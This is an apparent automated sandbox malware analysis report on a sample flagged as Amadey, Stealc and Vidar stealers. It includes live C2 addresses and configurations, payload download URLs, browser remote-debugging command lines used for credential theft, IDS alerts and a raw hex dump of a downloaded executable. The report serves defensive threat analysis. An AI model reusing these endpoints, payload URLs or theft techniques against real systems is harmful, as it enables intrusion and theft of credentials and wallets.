Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557285
MD5:	933db1979eee125501d5041ff0a81100
SHA1:	8c4e616530fc14b0b93070987dfffc519ec46fc2
SHA256:	cb2359039ddc3d53fdc47eaef40afeb7e4bc7895b90d15586a4ce5a9aa00452c
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2496 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 933DB1979EEE125501D5041FF0A81100)

chrome.exe (PID: 5532 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7220 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=1936,i,5678417622379381974,11452334284669709158,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8120 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7912 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2124,i,551240396681712199,14701134259884570719,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 9060 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEGDGIIJJE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsJEGDGIIJJE.exe (PID: 9112 cmdline: "C:\Users\user\DocumentsJEGDGIIJJE.exe" MD5: 9992A20ADD6571CE7C2B357B425E5445)

skotes.exe (PID: 8568 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 9992A20ADD6571CE7C2B357B425E5445)

msedge.exe (PID: 7988 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7328 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 6184 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5400 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 5092 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5400 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8244 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6856 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8296 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7024 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6908 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5680 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8292 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9992A20ADD6571CE7C2B357B425E5445)

11d5b5931e.exe (PID: 4788 cmdline: "C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe" MD5: 3382492D63AFA8096A084F3E4F87ECE9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000016.00000002.2836667286.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000003.3274019137.0000000004990000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2799466109.00000000007B1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.3493419830.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2713835839.0000000000011000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2715412771.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2249922371.00000000049D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.2796170814.0000000005260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.2712594211.0000000004F80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 2496	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2496	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2496	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2496	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
24.2.skotes.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.DocumentsJEGDGIIJJE.exe.7b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2496, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5532, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T00:29:19.699603+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50121	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T00:27:24.126094+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49741	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T00:27:24.119628+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49741	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T00:27:24.398353+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49741	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T00:27:25.494368+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49741	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T00:27:24.405743+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49741	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T00:27:23.827389+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49741	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T00:29:06.089689+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50117	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T00:29:18.776054+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50118	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T00:29:09.455765+0100	2803305	3	Unknown Traffic	192.168.2.6	50119	31.41.244.11	80	TCP
2024-11-18T00:29:20.996667+0100	2803305	3	Unknown Traffic	192.168.2.6	50123	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T00:27:26.066918+0100	2803304	3	Unknown Traffic	192.168.2.6	49741	185.215.113.206	80	TCP
2024-11-18T00:27:49.396324+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-18T00:27:52.766515+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-18T00:27:54.718555+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-18T00:27:55.769180+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-18T00:27:57.925220+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-18T00:27:58.474286+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-18T00:28:02.597646+0100	2803304	3	Unknown Traffic	192.168.2.6	50055	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16/luma/random.exe3J	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllx	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpgL	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php6	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/ferences.SourceAumid	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exe61395d	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/random.exerlencodedj	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exeo%	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/D	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllk	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exea5	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exeqJ	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 00000016.00000002.2836667286.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.2496.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 28%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAA6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CAA6C80

Source: 11d5b5931e.exe, 0000001A.00000002.3491660282.0000000000E5A000.00000040.00000001.01000000.0000000F.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_7c8a538d-1

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50120 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2754173798.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2754173798.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49741 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49741 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49741
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49741 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49741
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49741 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50117 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50118
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50121 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 23:27:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 